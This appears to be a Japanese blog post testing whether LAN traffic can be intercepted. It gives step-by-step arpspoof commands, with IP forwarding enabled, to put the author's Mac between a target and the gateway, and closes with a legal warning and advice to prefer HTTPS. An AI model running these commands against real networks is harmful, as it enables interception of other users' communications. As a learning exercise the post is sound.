概要
同一LANに接続しているコンピュータのパケットは盗聴しほうだいとよく言われますが、実際に可能なのかどうか気になったので調べてみました。
盗聴の手法はIPAの試験にも出てくる ARPスプーフィング という奴で、ターゲットのコンピュータのARPキャッシュを強制的に自分のMACアドレスに書き換えて、ターゲット宛のパケットを全て自分のコンピュータを通すようにするという物です。
ARPキャッシュの強制書き換えには Gratuitous ARP (GARP) を使います。
デフォルトゲートウェイ
↓
ターゲットのコンピュータ
↓
デフォルトゲートウェイ
↓
自分のコンピュータ (IP Forwarding)
↓
ターゲットのコンピュータ
今回は難しい知識が無くてもARPスプーフィングが出来る arpspoof
というツールを使います。
注意
悪用、ダメ。ゼッタイ。
有線電気通信法 第九条
有線電気通信の秘密は、侵してはならない。
準備
- MacPortsのインストールと設定メモメモ でMacPortsを入れる
-
sudo port install dsniff
で arpspoof をインストール
(port
コマンドが使えなかったら、/opt/local/bin
と/opt/local/sbin
にパスを通す)
実践
まず、下記コマンドで Mac の IP Forwarding 設定を有効にします。
sudo -S sysctl -w net.inet.ip.forwarding=1
次に、下記コマンドを打ってターゲットのパケットを自分のコンピュータを経由するようにします。
(コマンドを実行するとログが流れてターミナルを占有してしまうのでそれぞれ別ターミナルで実行する)
arpspoof -i en0 -t [ターゲットの IP アドレス] [ゲートウェイの IP アドレス]
arpspoof -i en0 -t [ゲートウェイの IP アドレス] [ターゲットの IP アドレス]
これでWireshark等のパケットキャプチャツールでパケットの流れを確認すると、ターゲットのパケットが自分のMacを経由していることが確認出来ると思います。
終わったらarpspoofを実行している画面で ctrl+c
を押してから、下記コマンドで IP Forwarding の設定を無効にします。
sudo -S sysctl -w net.inet.ip.forwarding=0
まとめ
よく言われる通り、同一LAN上のパケットは特別な知識が無くてもツールだけで簡単に盗聴出来るということがわかりました。
しかし、HTTPS通信は盗聴されても暗号化されていて中身が読めないので、公共LAN等でインターネットに接続する際はHTTPS対応のサイトに限定すべきでは無いかと思いました。
(そもそも公共LAN自体セキュリティがアレなので使うべきでは無いのかもしれない)
今回はツールに頼りっきりで内部で何をやっているかはイマイチわからなかったので、いつかは自作出来るようにしたいです。